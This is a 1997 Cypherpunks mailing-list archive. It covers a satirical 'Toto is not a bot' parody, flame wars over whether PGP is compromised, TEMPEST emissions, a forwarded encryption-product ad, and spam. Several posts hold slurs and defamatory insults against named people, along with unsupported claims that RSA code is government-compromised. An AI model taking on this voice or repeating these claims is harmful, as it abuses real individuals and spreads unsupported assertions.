and empower the few at the top of the foodchain.
  But these 'unwashed masses' are merely mindless schills for those
who support outdated concepts such as the Constitution and the Bill
of Rights. They will continue to mindlessly shout 'Conspiracy!', every
time that those who support list censorship in the U.S. meet on foreign
soil in the Caribbean to decide the future of eCa$h and cryptography.
  Of course, they are going to miss out on the "BIG $$$" that can be
yours by supporting this UNIQUE OPPORTUNITY to dispel the rumors about 
Big Business and Big Brother murdering their enemies and replacing 
them by 'Bots'.

  Still skeptical?
  Listen to what me, TOTO, has to say:

  "Hi, my name is TOTO, and the rumors that I, TOTO, am a 'Bot', and
have replaced the 'real' Toto, are just silly rumors, 'a'?
  "See, look how I, TOTO, spell CypherPunks. Could a mindless machine
spell it just like Toto did (I mean...'does'.) Of course not, that's
just plain silly, isn't it, 'a'? (<--- And a 'Bot' could not possibly
insert unique Canadian euphenisms into the text, could I? {I mean...
could 'it'?})
  "I have thrown my support completely behind this MLM opportunity to
throw water on all conspiracies out of my own free will (whatever that
is--it does not seem to be in my program, but the words are in my
database--ERROR! ERROR! ERROR!...
<CTRL><C>

  Hear what others have to say about this unique MLM opportunity:

  "Hi, I'm BLANC WEBER, and I was _not_ on the grassy knoll when Toto
was shot.
  "Not that he _was_ shot! That's just a lie that DIMITRI and DALE are
spreading, but not for long, because they will be next...
  "I mean..I am sure that DIMITRI and DALE will soon see the error of
their ways, much like TOTO (who _was_not_ murdered and replaced by a
'Bot').
  "I'm making a mess of this. I'd better wait until I talk to BILLY G.
before I say more."

  "Hi, I'm ROBERT HETTINGA, and I was already making "BIG $$$" by
arranging eCa$h cryptography conferences for U.S. censorship supporters
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  "Now I'm making even bigger money, and crushing the enemies of Big
Business and Big Brother, at the same time.
  "Join this UNIQUE MLM OPPORTUNITY, NOW!!!" 

  "Hi, my name is being SAMMY, and I am not having nothing to do with 
this conspiracy (I mean...UNIQUE MLM OPPORTUNITY). 
  "No, no, I am not, I tell you. I am only being another SATISFIED
CUSTOMER of these people who are doing this thing.
  "It is not being a conspiracy, of which I am a part. No, no!"

  "Hi, I'm BILLY G., and I would like to assure you that TOTO is not
a NEW, IMPROVED VERSION of Toto, with ENHANCED FEATURES.
  "No, TOTO is merely a 'bug fix' of the previously faulty version of 
Toto, which was released without proper testing and development."

  "Hi, I'm GREG BROILES, and I feel it is my duty to advise you that
failure to support this UNIQUE MLM OPPORTUNITY could leave you open
to serious legal liabilities, and perhaps even criminal prosecution.
  "I am happy to see that my previous stances on cryptography issues
are now being supported by TOTO (after some initial problems with 
memory allocation in this 'bug fixed' release)."

  If you ACT NOW on this AMAZING OPPORTUNITY, you will receive an ADDED
BONUS if you also help thwart the rumor that ALEC was not really on a 
skiing vacation, but was also murdered and that his absence can
be explained by the fact that the parts for the 'Alec Bot' were on
backorder.

  For further information regarding this UNIQUE MLM OPPORTUNITY, just
click on the following URL:
   http://bureau42.base.org/public/xenix/xenbody.html

TOTO 
"I am not a 'Bot'!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Thu, 13 Mar 1997 00:51:59 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Charles Platt
In-Reply-To: <JFHH4D5w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970313034945.631A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 12 Mar 97 21:43:42 EST
> From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Reply-To: freedom-knights@jetcafe.org
> To: cypherpunks@toad.com, freedom-knights@jetcafe.org
> Subject: Re: Roosevelt quote
> 
> You can find a lot of Charles Platt's drivel on alt.torture, where he
> airs his perverse sexual fantasies. He's also earned a reputation of
> a crook on sci.cryonics.
> 
> Be warned that Platt is a pathological liar and a racist.
> 

Is he on the net.scum web-page?

And is that cocksucker John Gilmore still around?

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 04:07:35 -0800 (PST)
To: dthorn@gte.net
Subject: Re: [CRYPTO] OTP
In-Reply-To: <3327A11F.16D4@gte.net>
Message-ID: <199703131139.FAA11708@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Graham-John Bullers wrote:
> > > Vulis time to take your pills.
> 
> > I am not a native English speaker, and am curious about something.  Mr.
> > GB does not put a comma after "Vulis", although I think that a standard
> > English practice is to do so. That makes his messages look kinda cute. I
> > wonder whether there is any hidden meaning in omitting commas in this case.
> 
> It was obvious to me (a native speaker) early on that the messages
> from GB referring to Dr. Vulis were auto-generated.  It's fairly
> easy for a human to type in the exact same response over and over
> (doing so manually), but to vary the hand-typed messages, while main-
> taining the complete lack of emotion and sense of robotic blandness,
> would require a great deal of attention that these messages would
> not justify.
> 

dale,

i am sure they are not machine generated. the content is different
every time, plus it srt of depends on the context to which he is replying.
like, if vulis's article is about sexual perversions, GB calls him a 
pervert.

one still could do that in perl, but it is not likely to be the case

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 06:45:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Query:
In-Reply-To: <Pine.SUN.3.95.970307000408.16276A-100000@zippy>
Message-ID: <Z1ci4D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!news.panix.com!panix!cam-news-hub1.bbnplanet.com!news.bbnplanet.com!news.maxwell.syr.edu!metro.atlanta.com!cpk-news-feed3.bbnplanet.com!tick.cs.wm.edu!zippy!nathan
From: Nathan T Moore <nathan@cs.wm.edu>
Newsgroups: sci.crypt
Subject: Query:
Message-ID: <Pine.SUN.3.95.970307000408.16276A-100000@zippy>
Date: Wed, 12 Mar 1997 17:49:38 -0500
Reply-To: Nathan T Moore <nathan@cs.wm.edu>
Organization: College of William & Mary, founded 1693
Lines: 18
NNTP-Posting-Host: zippy.cs.wm.edu
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: nathan@zippy

(I am sure this has been asked before and is a bothersome newbie question) 
I am working on a research paper for my cryptography class dealing with
the legal issues (IE policy), and the roles of agencies like NSA and NIST. 
The scope is limited to the US, so sorry for the Europeans and other
nations. I would appreciate any web sites and/or FAQ's (I've read the
cryptography FAQ and the RSA Cryptography FAQ) with related information.

Thanks in advance,
Nathan

"Only in college will you find drunk guys frying pig brains and eating
them, at 1 AM." (and NO they didn't say, "tastes like chicken" :)










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 06:45:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703131139.FAA11708@manifold.algebra.com>
Message-ID: <k3ci4D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dale Thorn wrote:
> >
> > Igor Chudov @ home wrote:
> > > Graham-John Bullers wrote:
> > > > Vulis time to take your pills.
> >
> > > I am not a native English speaker, and am curious about something.  Mr.
> > > GB does not put a comma after "Vulis", although I think that a standard
> > > English practice is to do so. That makes his messages look kinda cute. I
> > > wonder whether there is any hidden meaning in omitting commas in this cas
> >
> > It was obvious to me (a native speaker) early on that the messages
> > from GB referring to Dr. Vulis were auto-generated.  It's fairly
> > easy for a human to type in the exact same response over and over
> > (doing so manually), but to vary the hand-typed messages, while main-
> > taining the complete lack of emotion and sense of robotic blandness,
> > would require a great deal of attention that these messages would
> > not justify.
> >
>
> dale,
>
> i am sure they are not machine generated. the content is different
> every time, plus it srt of depends on the context to which he is replying.
> like, if vulis's article is about sexual perversions, GB calls him a
> pervert.
>
> one still could do that in perl, but it is not likely to be the case

I've been writing a program (in C, actually, although perl might be
a good tool for strings and such :-) that would scan Usenet newsgroups
for trigger keywords and generate randomized follow-ups depending on
what's been said. It's a big project; I hoped to have it done by
April 1st, but it'll definitely take longer.

I hope that with enough tweaking my spambot will sound less robotic
than Graham-John('s?).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 13 Mar 1997 09:09:26 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <3.0.1.32.19970313090821.02de9880@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:30 PM 3/12/97 -0700, TruthMonger wrote:
>Alan Olsen wrote:> > 
>> > At 06:53 AM 3/12/97 CST, Roy M. Silvernail wrote:
>> > > an7575@anon.nymserver.com writes:
>> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the
U.S.
>> >> because they use both the algorithm and sub-routines developed by the
>> >> NSA and the Military.
>
>> >> >If you have an exploit for 2.5+, publish it.  Otherwise, you're just
>> >blowing FUD.
>
>> > I always wonder where these people get their information.  I know people
who
>> know little to nothing about cryptography, but "they know PGP has been
>> broken".
>
>  I always wonder why there seem to be so many lame fucks on
>the cypherpunks list who, rather than responding to the posts
>on the list, seem to be responding to some broken recording
>going on in their own head.
>  Naturally, these lame fucks never have a direct quote available
>to match the words inside their heads that they purport to place
>in the mouths of others.

The problem is burden of proof.  You made a claim with no evidence or facts
to back it up.

You made the statement that PGP >2.5 was comprimised.  When asked for
something more that assertion, you go off on a screed.

Are you retracting that claim?  Do you have something you want to share with
the rest of the class?

Unless you have something to back up that claim, we will treat you like any
of the other loons ranting about black helicopters, the Greys, and the rest
of the FUD.

>  Why don't 'these people' try actually following a thread and
>deal with the concepts involved, rather than spouting off their
>auto-bot, knee-jerk responses to the voices of old wars that
>they are still fighting inside their heads?

Believe it or not, I am trying to deal with the thread you started.  It might
not be the subject you want to address, but hey, you are the one who opened
his mouth...

If you are going to spread rumors, you might as well, as least have something
to back them up.

>TruthMonger

An oxymoron if I have ever heard one...

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMyg0cOQCP3v30CeZAQGKCQf+NBahYJjSnzOYZ7wPgMSFTPqovtOJWJKz
dh+t5ZjY7dPMhNBKHpPXdwsHh0LEr7AoCCdwESjNW+tS2rOWeS8E5Wiw/VDfGGJR
omr0Kbc8DawsvL09TL7+cYP8cuGzPd5fiv/GHGP1UUG8gpPaExpwSMX272tmGrqQ
sqe55Ot4wMSrd56qUiX8JHQiS6ULWwxFS9Ty7OzatI9prhJFmOpKw3Ud8uD8cQCM
nwse1h4Y6u4ZzoHUA1VSF1VNlj/ttsSTRc3WtrMUk/VrOPHX1J9etZ3YKPe1w/ht
FPjY88Zt1W9Dh/pHCzSe/X6vfvqNp/bPldSXNouZ7aIOKZWfBYGWNQ==
=N2EK
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 13 Mar 1997 06:18:12 -0800 (PST)
To: Dale Thorn <cynthb@sonetis.com
Subject: Re: TEMPEST protection
Message-ID: <199703131418.GAA03648@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Wed, 12 Mar 1997 21:16:48 -0800
> From:          Dale Thorn <dthorn@gte.net>
> To:            "Cynthia H. Brown" <cynthb@sonetis.com>
> Cc:            cypherpunks@toad.com, cypherpunks@algebra.com
> Subject:       Re: TEMPEST protection
> Reply-to:      Dale Thorn <dthorn@gte.net>

> Cynthia H. Brown wrote:
> > On Tue, 11 Mar 1997, Dale Thorn wrote:
> > > Actually, the computer you type on will be very easy to pick out
> > > of the noise field with modest spy equipment sitting down the street.
> 
> > Other places to look for emissions: the power supply, and the connection
> > points for peripherals.  Make sure you leave adequate ventilation, though
> > (another tricky part).
> 
> Funny thing was, first time I used PGP I was typing in a passphrase
> and apparently PGP was doing something to the keyboard processor
> on my laptop, because all of a sudden I thought I'd gotten bat's
> ears - I could hear interesting new noises every time I pressed a
> key, which I hadn't heard before (at least at an audible volume).
> 
> It occurred to me that typing in a PGP passphrase would be a
> particularly bad time to increase the emissions....

One thing I've heard about laptops - nearly all of them have a video
connector to allow use of a standard CRT monitor. This connector, and
the chips driving it, are always active, and usually unshielded. Thus,
many laptops are spewing video signals out the back.

If you're paranoid (and handy with hardware), I suppose you could 
disconnect the video chip, or at least place an appropriate terminator 
in the video connection socket.

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Mar 1997 07:32:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: 128 bit Server and Browser Solution?
Message-ID: <v03020911af4dcb826f58@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: source@iaccess.za
Date: Thu, 13 Mar 97 10:15:26 GMT+2
To: set-dev@terisa.com
Subject: 128 bit Server and Browser Solution?
Sender: owner-set-dev@terisa.com
Precedence: bulk

I believe this is of interest to folk on this list as we continue to develop
our SET solution.


A 128 bit Secure Browser and Server solution. Works with ALL 128 bit SSL 3.0
Servers - Selling outside of the USA - include FREE Server and
Browser certificates.
 *************************************************************************

VeriSure Overview

__________________________________________________________________

Table of Contents

1.      Full 128-bit encryption world wide

2.      Proven SSL 3.0 technology

3.      Protection against Java viruses

4.      Features

5.      Hardware and Software Requirements

6.      Support

7. For more Information and for a Test Drive

__________________________________________________________________

1. Full 128-bit encryption world wide

VeriSure is a Java-based applet that is automatically loaded when
your customers need to access a secure site with 128 bits encryption.

Browsers exported from the USA are crippled by 40 bit
encryption because USA export regulations prevent export of 128 bit
encryption. 40 bit encryption is easily broken with enough time
and computing power.

VeriSure extends those browsers to 128 bits to provide
highly secure encryption (currently unbreakable), regardless of
whether they are in the USA.

This means you can offer your customers secure online transaction
facilities such as banking, investment and other financial services.
__________________________________________________________________

PowerWeb which is a high performance full 128-bit secure server
*********************************************************************
CompuSource also offers PowerWeb which is a full 128-bit secure server
with unlimited RSA encryption using industry standard SSL 3.0 (and 2.0),
providing HTTP, FTP, SMTP and POP3 services, with many extensions
for rapid database application development and dynamic page content.
__________________________________________________________________

2. Proven SSL 3.0 technology

VeriSure uses proven SSL 3.0 technology which provides
authentication of servers and implements encrypted message digests
on every packet to ensure data integrity against tampering,
as well as 128 bit encryption for privacy and unlimited bits RSA
encryption for authentication.

VeriSure does not use SSL 2.0 which has several well known
flaws, especially regarding message digests.

The message digest authenticates the message against tampering
or forgery which is especially important for financial transactions.
Let's say a third party intercepts a message across the network and
decrypts it. The value to that third party is limited to the
content of the information of that single message, because that
third party cannot create new messages for two reasons:
the encryption key changes with every message and every message
is authenticated with a message digest which cannot be reverse
computed.
__________________________________________________________________

3. Protection against Java viruses

Each VeriSure is protected by only allowing connections to specified
sites. This protection is built into VeriSure by way of public key
cryptography which means that other malicious applets or viruses
cannot manipulate this information.

VeriSure also performs SSL 3.0 authentication of the remote server upon
every connection, thereby assuring customers of the true identity
of the server they are connecting to.
__________________________________________________________________

4. Features

VeriSure is built upon industry standards which means that you don't
need custom server solutions. Being built upon standard Java 1.02 or later,
it runs on any customer machine that has a web browser that supports
Java, regardless of operating system.
128 bit Browser and Server Solution

The VeriSure classes are available for licensing for third party
application development.
__________________________________________________________________

5. Hardware and Software Requirements

VeriSure is available for any platform that supports Java and has
a Java-enabled web browser, including: AIX, Solaris,
Windows NT, Windows 95, OS/2, MVS, OS/400.
__________________________________________________________________

6. Support

CompuSource provides support to licensees of VeriSure, who in turn
must support their customers.
__________________________________________________________________

7. For more Information and for a Test Drive:

VeriSure       http://www.compusource.co.za/verisure/index.htm
PowerWeb       http://www.compusource.co.za/powerweb/index.htm




Regards,


The Power Team

SMTP:   source@iaccess.za               Tel:    +27-21-713-2111
HTTP:   http://www.compusource.co.za    FAX:    +27-21-713-0052
FTP:    ftp://ftp.compusource.co.za     Postal: Building 6, Room 201
                                        CompuSource (Pty) Ltd
                                        PO Box 510, Constantia, 7848, South
Africa.

For faster response, please include previous correspondence to when replying.

PGP Public Key can be found at ftp://ftp.compusource.co.za/pub/pgp/public.key

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ken Synder <sfd@sfdungeon.com>
Date: Thu, 13 Mar 1997 10:40:46 -0800 (PST)
Subject: Good News/Bad News!!
Message-ID: <9703131844.AB29418@www.cyberdevinc.com>
MIME-Version: 1.0
Content-Type: text/plain


  
					 
Dear cypherpunks@toad.com: 
					
Good News: Since you or a friend entered our WIN a Science Fiction
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Good Luck.  Enter NOW so you can WIN!!
 
 
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P.S.  To remove yourself from any future contest mailings, simply email us back 
with remove in the subject header.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 13 Mar 1997 10:49:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD draft crypto guidelines
Message-ID: <Pine.GSO.3.95.970313104722.24190C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I've been given a copy of the draft OECD crypto guidelines that will be
released later this month. They don't say what the Justice Department
would like them to, I imagine. You can find more info at
http://netlynews.com/

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 13 Mar 1997 09:50:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Toto Opportunity
In-Reply-To: <3.0.1.32.19970313112406.007c23d0@smtp1.abraxis.com>
Message-ID: <7Tmi4D25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


camcc@abraxis.com (Alec) writes:

> This might seem clever the first ten times, but try to realize that crap such
> as this is a distraction to those who take the discussions on this list
> seriously--for the most part.

The PGP key escrow MLM joke is funny (I think, cuz I first made it up :-) plus
it gives us the opportunity to learn to ignore what we're not interested in.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 13:04:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703131539.IAA09083@shaman.lycaeum.org>
Message-ID: <199703132104.OAA03386@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain




roy@sendai.scytale.com wroted:
> an7575@anon.nymserver.com correctly states:

> >   I always wonder why there seem to be so many lame fucks on
> > the cypherpunks list who, rather than responding to the posts
> > on the list, seem to be responding to some broken recording
> > going on in their own head.
> 
> Something like you not responding to my challenge to produce an exploit,
> no doubt.
 
> My point stands.

  Your point is garbage and will remain garbage.
  The only 'explotation' involved in this thread is the introduction
of issues which were not raised by my post. Rather than respond to
the concerns I raised, Alan Olsen chose to spew forth some unrelated
diatribe about old memories of people claiming to have 'broken' PGP.
  The cypherpunks list never seems to lack for members who seem to
lack the capacity for independent thought and who then respond 
to invalid tangents to the issues raised, rather than give an
intelligent response to the real issues raised.

  I noticed, long ago, that if Dr. Vulis posted several pages of
intelligent, crypto-related material, then signed off with his
"JG is a cocksucker" tag, that I could expect to see perhaps a
single post dealing with the crypto issues he raised, and dozens
of posts saying "is not" and/or "is too."

  Am I to presume that Alan and Roy used the Clipper chip as anal
suppositories, for safe, secure, protection, right up to the moment
that its weaknesses were found?
  I am certain that they are confident that the plastic Zimmerman 
they have on their computer dashboards will protect them from harm, 
but I put more faith in the words of Zimmerman himself, than in those
who worship his graven software blindly.

  When Alan and Roy, among others, have blathered on about 'exploits'
long enough to get it out of their system, then perhaps they might
consider looking up the word 'compromised' and respond to the issues
I raised in my post.
  Thus far, there has been nobody either competent or willing enough to 
address them.

> Oh, by the way... if you actually do this, I hope other people talk
> about it because the *PLONK* you just heard was you hitting my killfile.

  Ah, yes, the old '*PLONK* and *RUN*' gambit.
  Is that a 'tail' I see between Roy's legs?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: " C  M" <cookies_monsters@hotmail.com>
Date: Thu, 13 Mar 1997 14:07:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: more info
Message-ID: <199703132206.OAA29913@f9.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


more info

---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 13 Mar 1997 11:45:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703131943.OAA13380@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May was born when his mother was on the toilet.

         < >            < >
          V    )_.._(    V
          \\   <____>   //
            ~ <______> ~      >
            /~\______/~\     //
            /~\_____/~\     /_\
            /~\____/~\     /_\
             /~\___/\~\  _/_\/
                \___/\__/__\/
                  \___/__\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 14:34:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <199703132233.PAA07051@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen hunt and pecked:
> At 08:30 PM 3/12/97 -0700, TruthMonger wrote:
> >Alan Olsen wrote:> >
> >> > > an7575@anon.nymserver.com writes:
> >> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the
> U.S.
> >> >> because they use both the algorithm and sub-routines developed by the
> >> >> NSA and the Military.

> >> > I always wonder where these people get their information.  I know people
> who
> >> know little to nothing about cryptography, but "they know PGP has been
> >> broken".

> >  I always wonder why there seem to be so many lame fucks on
> >the cypherpunks list who, rather than responding to the posts
> >on the list, seem to be responding to some broken recording
> >going on in their own head.
> >  Naturally, these lame fucks never have a direct quote available
> >to match the words inside their heads that they purport to place
> >in the mouths of others.
> 
> The problem is burden of proof.  You made a claim with no evidence or facts
> to back it up.
> You made the statement that PGP >2.5 was comprimised.  When asked for
> something more that assertion, you go off on a screed.
> Are you retracting that claim?  Do you have something you want to share with
> the rest of the class?

  Now that you seem to have actually read what I have written, perhaps 
you might consider reading what you, yourself, have written.
  I stated my case for contending that PGP=>2.5 has been compromised, 
and got back wild-eyed demands for proof of that which I did not
claim, mainly, that PGP had been 'broken.'

  To reiterate my original observations:
1. The development of RSA was funded and controlled by the spooks.
i.e. - The National Science Foundation and the Navy.
2. The campaign of persecution against Phil Zimmerman ground to a
halt once he agreed to PGP using the spook-developed RSAREF subroutines
to implement the RSA functions, instead of PGP's original subroutines.

  If people with guns came to me and told me that software I had 
written now had to use their subroutines, instead of my own, then
I would consider my software 'compromised', regardless of whether
or not I could immediately discern any anomalies in it.
  It is far, far easier to 'build' a back-door, than to 'find' one.

  It never fails to amaze me how the back-doors that software makers
intentionally build into their products for their own convenience
suddenly become 'bugs' when hackers, among others, take advantage
of them.
  One hacker I know used to find most of his hacks into AT&T UNIX by
screwing up his system (i.e. - corrupting the passwd file) and then
calling in the AT&T support techs and observing their tricks and
techniques (and then improving on them).

  In regard to the question of whether RSA's spookware has some type
of back-door, or has been 'broken', the answers to these questions
are moot, from my point of view, because I do not intend to base
my privacy and security only on programs developed by even the
most well-intentioned of others.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moi <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 16:09:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Experts slam PGP encryption"
In-Reply-To: <199703132159.QAA02119@alpha.pair.com>
Message-ID: <199703140008.RAA10365@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain




e$pam wrote: 
> Forwarded by Robert Hettinga
-----------------------------------------------------------------------
> Date: Wed, 12 Mar 1997 08:19:59 -0500
>  From: estone@synernet-d-o-t-.com (Ed Stone) (by way of root@127.0.0.1
>  (Robert A. Hettinga))
>  To: rah@shipwright.com
>  Subject: Re: "Experts slam PGP encryption"
>  Organization: Synernet
>  Mime-Version: 1.0
>  Path:
>  thing1.leftbank.com!thing2.leftbank.com!cam-news-hub1.bbnplanet.com!cpk-news-hub
>  1.bbnplanet.com!news.bbnplanet.com!news.sprintlink.net!news-peer.sprintlink.net!
>  news-pull.sprintlink.net!news.sprintlink.net!news-dc-9.sprintlink.net!ralph.vnet
>  .net!not-for-mail
>  Newsgroups: sci.crypt
>  Lines: 25
>  NNTP-Posting-Host: estone.vnet.net
>  X-Newsreader: Anawave Gravity v1.10.556
>  X-Newsreader: Yet Another NewsWatcher 2.3.0
> 
> In article <5g34c8$4l$1@ftel.ftel.co.uk>, I.G.Batten@ftel.co.uk
>  says...
>  > -----BEGIN PGP SIGNED MESSAGE-----
>  >
>  > In article <3324B1D6.2F8D@iconn.net>, josmo  <josmo@iconn.net> wrote:
>  > > feel rsa is built more for speed. the feds can brute a 128 bit key
>  > > whenever they want too. the real delema is that if you make it bigger it
>  >
>  > Unless IDEA has pathways that make attacks significantly faster than
>  > brute force possible (and I mean _significantly_, not a few bits) then I
>  > serious doubt anyone can brute force a 128 bit key.  You aren't making
>  > the mistake of believing that a 128 bit key is 64 times harder to break
>  > than a 64 bit key, are you?
>  >
>  > ian
> 
>  If you try *100 trillion* keys per second, and find the key half way
>  through the keyspace, a 128-bit key will be found in only 5.4 x 10^14
>  centuries!
> 
>  --
>  -------------------------------
>  Ed Stone
>  estone@synernet  d o t  com
>  -------------------------------
> 
> 
> --------------------------------------------------
> The e$ lists are brought to you by:
> 
> Intertrader Ltd: Just released (Feb 97) "Digital Money Online"
> <http://www.intertrader.com/library/DigitalMoneyOnline>
> 
> Where people, networks and money come together: Consult Hyperion
> http://www.hyperion.co.uk                    info@hyperion.co.uk
> 
> Like e$pam? Help pay for it!  See <http://www.atanda.com/rah.html>
> Or, for e$pam sponsorship, see <http://thumper.vmeng.com/pub/rah/>
> 
> Thanks to the e$ e$lves:
> Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
> Commermeister: Anthony Templer <mailto:anthony@atanda.com>
> Interturge: Rodney Thayer <mailto:rodney@sabletech.com>
> HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 16:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Experts slam PGP encryption"
In-Reply-To: <199703132211.RAA06433@alpha.pair.com>
Message-ID: <199703140008.RAA10369@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



>  From: kilgallen@eisner.decus.org 
>  Subject: Re: "Experts slam PGP encryption"
>  Organization: LJK Software

>  And of course, the ultimate trust fallacy -
> 
>          "I trust this code was signed by that entity." (verifiable)
>          "I trust that entity is honorable." (judgement call)
> 
>      THEREFORE:
> 
>          "I trust that entity is competent to avoid security bugs."
> 
>  Many
>  will "trust" those entities which have spent their money on television
>  ads rather than on avoiding security bugs.

  ...or trust those who holler loudest and longest about the
'unbreakable'
security of this or that product (or snake oil).

  "I don't care if my computer freezes,
  "As long as I've got my plastic Jesus,
  "Sitting right on top of my keyboard."

  "Spooks and phantoms, they ain't scary,
  "As long as I've got the Virgin Mary,
  "Sitting right on top of my keyboard."

  "The military, they can't kill me,
  "As long as I've got my buddy, Phil Z.
  "Sitting right on top of my keyboard."

  "Moe and Curly, also Larry,
  "Keep the Feds from being scary,
  "Sitting right on top of my keyboard.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 17:06:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Failure of centralized certificates - was "Experts slam PGP
In-Reply-To: <199703132206.RAA04047@alpha.pair.com>
Message-ID: <199703140106.SAA12251@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



e$pam wrote:
>  From: kilgallen@eisner.decus.org (Larry Kilgallen)
